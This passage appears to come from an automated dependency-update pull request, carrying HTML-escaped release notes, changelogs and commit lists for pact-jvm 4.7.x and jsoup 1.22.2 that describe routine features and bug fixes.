RandomAccessFile instead of opening a competing file handle (biergit)\u003c/li\u003e\n\u003cli\u003e66e25c362 - Refactor writePact to handle empty pactFile case (biergit)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0 Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e00a50289f - chore: remove beta flag from 4.7.x version\u003c/li\u003e\n\u003cli\u003e95af91301 - chore: Update supported JDK versions table\u003c/li\u003e\n\u003cli\u003e1a684e1a3 - chore: Correct the doctests for line endings on Windows\u003c/li\u003e\n\u003cli\u003e468b9a38c - chore: Add doctests for consumer and consumer/junit5\u003c/li\u003e\n\u003cli\u003e12e3c37be - chore: Add Gradle task to generate tests off readme code blocks\u003c/li\u003e\n\u003cli\u003e119efb3e0 - feat: Check for \u003ccode\u003e@Ignore\u003c/code\u003e on the Pact method in the post spec check stage\u003c/li\u003e\n\u003cli\u003e629350842 - chore: Update main readme\u003c/li\u003e\n\u003cli\u003e06deeb5ab - feat: Check for the mock server field and raise an exception if it is missing\u003c/li\u003e\n\u003cli\u003ed39f691d8 - feat: rename annotation so it does not have the same name as the JUnit one\u003c/li\u003e\n\u003cli\u003e977572cf6 - feat: Add a consumer spock module\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0-beta.6\u003c/h2\u003e\n\u003ch2\u003eMaintenance Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e698c1b2a1 - chore: Update readme after upgrading Kotlin to 2.3.10\u003c/li\u003e\n\u003cli\u003e0a983466e - chore: Upgrade Kotlin to 2.3.10\u003c/li\u003e\n\u003cli\u003ee9f112aac - feat: add support for custom headers with the PactBroker annotation \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1835\"\u003e#1835\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ef0283de99 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output\u003c/li\u003e\n\u003cli\u003ebdb9db101 - chore(consumer): Add test for MockServerLog\u003c/li\u003e\n\u003cli\u003e7cf4acc16 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output\u003c/li\u003e\n\u003cli\u003e451d7f0e6 - fix: Replace Generex with a custom random string generator \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1848\"\u003e#1848\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e5caa7c5e9 - feat: Add a JUnit 5 filter by interation type \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0-beta.5\u003c/h2\u003e\n\u003ch2\u003eBugfix Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efff39e5f7 - fix: HttpHeaders.containsKey() which was removed in Spring Framework 7, causing NoSuchMethodError at runtime \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1902\"\u003e#1902\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ef27d9aaff - fix: Switch from the use of URL to URI in Gradle plugin to support Gradle 9+/JVM 25 \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1892\"\u003e#1892\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e161c08324 - Revert \u0026quot;fix: Switch from the use of URL to URI in Gradle plugin to support Gradle 9+/JVM 25 \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1892\"\u003e#1892\u003c/a\u003e\u0026quot;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pact-foundation/pact-jvm/blob/master/CHANGELOG.md\"\u003eau.com.dius.pact.consumer:junit5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e4.7.1 - Feature release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ed38c2f13e - chore: add todo file to track things to do (Ronald Holshausen, Thu Apr 30 10:51:54 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea489e72bb - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1908\"\u003e#1908\u003c/a\u003e from pact-foundation/kotlin-dsl (Ronald Holshausen, Thu Apr 30 10:49:22 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0e8d6ecf9 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1901\"\u003e#1901\u003c/a\u003e from biergit/patch-3 (Ronald Holshausen, Thu Apr 30 10:44:20 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0cdd0e3b3 - chore: Corrected all the doctests after update to the readmes (Ronald Holshausen, Wed Apr 29 15:32:33 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea34e72a72 - chore: Add TOC to the consumer and provider readmes (Ronald Holshausen, Wed Apr 29 11:49:37 2026 +1000)\u003c/li\u003e\n\u003cli\u003ef695f6d79 - feat: Update readmes with details on using external references (Ronald Holshausen, Wed Apr 29 11:36:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e3cb5eb590 - feat: Display references in the verifier output (Ronald Holshausen, Wed Apr 29 11:20:43 2026 +1000)\u003c/li\u003e\n\u003cli\u003e170b27669 - feat: Add a method to the DSL interaction builders to capture external references (Ronald Holshausen, Tue Apr 28 17:22:36 2026 +1000)\u003c/li\u003e\n\u003cli\u003eb43d22530 - feat: Add a method V4Interaction to capture external references (Ronald Holshausen, Tue Apr 28 17:15:27 2026 +1000)\u003c/li\u003e\n\u003cli\u003e130aaa28b - chore: Add tests for V4Interaction and child classes (Ronald Holshausen, Tue Apr 28 17:01:34 2026 +1000)\u003c/li\u003e\n\u003cli\u003ec22838534 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1909\"\u003e#1909\u003c/a\u003e from kevinrvaz/chore/fix_minor_typo (Ronald Holshausen, Thu Apr 23 13:02:51 2026 +1000)\u003c/li\u003e\n\u003cli\u003e4ee8ddd5d - chore: fix typo breaking internal build (Kevin Rohan Vaz, Thu Apr 23 08:13:00 2026 +0530)\u003c/li\u003e\n\u003cli\u003e76cabe478 - feat: Add doctests for the readme code blocks \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e (Ronald Holshausen, Thu Apr 23 11:19:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003ee2ee20b00 - feat: Add a Kotlin consumer DSL \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e (Ronald Holshausen, Thu Apr 23 10:39:13 2026 +1000)\u003c/li\u003e\n\u003cli\u003e3798d97b8 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1907\"\u003e#1907\u003c/a\u003e from pact-foundation/feat/array-contains-matching-expression (Ronald Holshausen, Wed Apr 22 17:40:56 2026 +1000)\u003c/li\u003e\n\u003cli\u003e39c734aa8 - feat: add arrayContains as a matching rule expression (Ronald Holshausen, Wed Apr 22 17:19:53 2026 +1000)\u003c/li\u003e\n\u003cli\u003e41c2c39b3 - chore: Update project documentation (Ronald Holshausen, Wed Apr 22 15:43:17 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea09b4ee27 - bump version to 4.7.1 (Ronald Holshausen, Tue Apr 21 10:59:57 2026 +1000)\u003c/li\u003e\n\u003cli\u003e2de7c5022 - refactor: deduplicate write logic in MERGE branch (biergit, Fri Apr 17 15:00:56 2026 +0200)\u003c/li\u003e\n\u003cli\u003e332f3b305 - fix: write through RandomAccessFile instead of opening a competing file handle (biergit, Fri Apr 17 14:36:59 2026 +0200)\u003c/li\u003e\n\u003cli\u003e66e25c362 - Refactor writePact to handle empty pactFile case (biergit, Fri Mar 13 14:30:13 2026 +0100)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e4.7.0 - 4.7.0 Release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e00a50289f - chore: remove beta flag from 4.7.x version (Ronald Holshausen, Tue Apr 21 10:25:35 2026 +1000)\u003c/li\u003e\n\u003cli\u003e95af91301 - chore: Update supported JDK versions table (Ronald Holshausen, Tue Apr 21 10:17:06 2026 +1000)\u003c/li\u003e\n\u003cli\u003e1a684e1a3 - chore: Correct the doctests for line endings on Windows (Ronald Holshausen, Mon Apr 20 16:58:34 2026 +1000)\u003c/li\u003e\n\u003cli\u003e468b9a38c - chore: Add doctests for consumer and consumer/junit5 (Ronald Holshausen, Mon Apr 20 16:20:13 2026 +1000)\u003c/li\u003e\n\u003cli\u003e12e3c37be - chore: Add Gradle task to generate tests off readme code blocks (Ronald Holshausen, Mon Apr 20 14:44:48 2026 +1000)\u003c/li\u003e\n\u003cli\u003e119efb3e0 - feat: Check for \u003ccode\u003e@Ignore\u003c/code\u003e on the Pact method in the post spec check stage (Ronald Holshausen, Mon Apr 20 13:37:11 2026 +1000)\u003c/li\u003e\n\u003cli\u003e629350842 - chore: Update main readme (Ronald Holshausen, Mon Apr 20 13:24:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e06deeb5ab - feat: Check for the mock server field and raise an exception if it is missing (Ronald Holshausen, Mon Apr 20 13:23:03 2026 +1000)\u003c/li\u003e\n\u003cli\u003ed39f691d8 - feat: rename annotation so it does not have the same name as the JUnit one (Ronald Holshausen, Mon Apr 20 13:08:25 2026 +1000)\u003c/li\u003e\n\u003cli\u003e977572cf6 - feat: Add a consumer spock module (Ronald Holshausen, Mon Apr 20 13:00:58 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea1b2abf32 - bump version to 4.7.0-beta.7 (Ronald Holshausen, Fri Apr 17 11:42:01 2026 +1000)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e4.7.0-beta.6 - Maintenance Release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e698c1b2a1 - chore: Update readme after upgrading Kotlin to 2.3.10 (Ronald Holshausen, Fri Apr 17 10:56:41 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0a983466e - chore: Upgrade Kotlin to 2.3.10 (Ronald Holshausen, Fri Apr 17 10:56:01 2026 +1000)\u003c/li\u003e\n\u003cli\u003ee9f112aac - feat: add support for custom headers with the PactBroker annotation \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1835\"\u003e#1835\u003c/a\u003e (Ronald Holshausen, Fri Apr 17 10:38:54 2026 +1000)\u003c/li\u003e\n\u003cli\u003ef0283de99 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output (Ronald Holshausen, Fri Apr 17 09:32:07 2026 +1000)\u003c/li\u003e\n\u003cli\u003ebdb9db101 - chore(consumer): Add test for MockServerLog (Ronald Holshausen, Thu Apr 16 17:22:04 2026 +1000)\u003c/li\u003e\n\u003cli\u003e64b5af54c - Merge branch 'master' into v4.7.x (Ronald Holshausen, Thu Apr 16 17:15:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e7cf4acc16 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output (Ronald Holshausen, Thu Apr 16 16:51:38 2026 +1000)\u003c/li\u003e\n\u003cli\u003e451d7f0e6 - fix: Replace Generex with a custom random string generator \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1848\"\u003e#1848\u003c/a\u003e (Ronald Holshausen, Thu Apr 16 15:58:56 2026 +1000)\u003c/li\u003e\n\u003cli\u003ed5bb09476 - bump version to 4.7.0-beta.6 (Ronald Holshausen, Thu Apr 16 14:28:00 2026 +1000)\u003c/li\u003e\n\u003cli\u003ec2ffe0c55 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1904\"\u003e#1904\u003c/a\u003e from kevinrvaz/docs/update_docs_for_docusaurus_update (Ronald Holshausen, Thu Apr 16 09:34:27 2026 +1000)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/pact-foundation/pact-jvm/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jsoup:jsoup` from 1.22.1 to 1.22.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/releases\"\u003eorg.jsoup:jsoup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.2\u003c/strong\u003e is out now, with fixes and refinements across the library. It makes editing the DOM during traversal more predictable, refreshes the default HTML tag definitions with newer elements and better text boundaries, and improves reliability in parsing and HTTP transport. The release also fixes a number of edge cases in cleaning, stream parsing, XML doctype handling, and Android packaging.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/jhy/jsoup/blob/HEAD/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch2\u003eImprovements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBuild Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eMy sincere thanks to everyone who contributed to this release!\nIf you have any suggestions for the next release, I would love to hear them; please get in touch via \u003ca href=\"https://github.com/jhy/jsoup/discussions\"\u003ejsoup discussions\u003c/a\u003e, or with me \u003ca href=\"https://jhedley.com/\"\u003edirectly\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eYou can also \u003c!-- raw HTML omitted --\u003efollow me\u003c!-- raw HTML omitted --\u003e (\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e@\u003ca href=\"mailto:jhy@tilde.zone\"\u003ejhy@tilde.zone\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e) on Mastodon / Fediverse to receive occasional notes about jsoup releases.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/blob/master/CHANGES.md\"\u003eorg.jsoup:jsoup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.22.2 (2026-Apr-20)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/ac28afe6e5bf96d39fd17c3e0a797a7585e1958c\"\u003e\u003ccode\u003eac28afe\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jsoup-1.22.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/52f2cd3ea2004b9be0e0a09021bac7ce2daf8ae4\"\u003e\u003ccode\u003e52f2cd3\u003c/code\u003e\u003c/a\u003e Improve entity example in changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/cf6ffe08616f8633ee6113b91f9d6a07acef38c6\"\u003e\u003ccode\u003ecf6ffe0\u003c/code\u003e\u003c/a\u003e Add Tag#TextBoundary option; bring TagSet to spec (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2493\"\u003e#2493\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/2be739c1c659a1592c402a5441f8be6f7881280c\"\u003e\u003ccode\u003e2be739c\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4 to 4.35.1 (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2492\"\u003e#2492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/45de7cbc215eb3f1189d23eaf57acf6f7b1a5edf\"\u003e\u003ccode\u003e45de7cb\u003c/code\u003e\u003c/a\u003e Migrate integration test server from Jetty to Netty (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2491\"\u003e#2491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/1df14edbfc327a1ef309142ef5e8ed68324de320\"\u003e\u003ccode\u003e1df14ed\u003c/code\u003e\u003c/a\u003e Preserve XML doctype internal subset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/06fa52d15a22003b67dfdb3f8220cc025d493a43\"\u003e\u003ccode\u003e06fa52d\u003c/code\u003e\u003c/a\u003e Adding Contribution Guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/d4a8941820c037327538c30a8723ec715b67b6f6\"\u003e\u003ccode\u003ed4a8941\u003c/code\u003e\u003c/a\u003e Simplify the test; doesn't need the buffer\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/823709f519995492d9a092fe315af389616e58f8\"\u003e\u003ccode\u003e823709f\u003c/code\u003e\u003c/a\u003e Don't reuse a fully read sniffed doc for 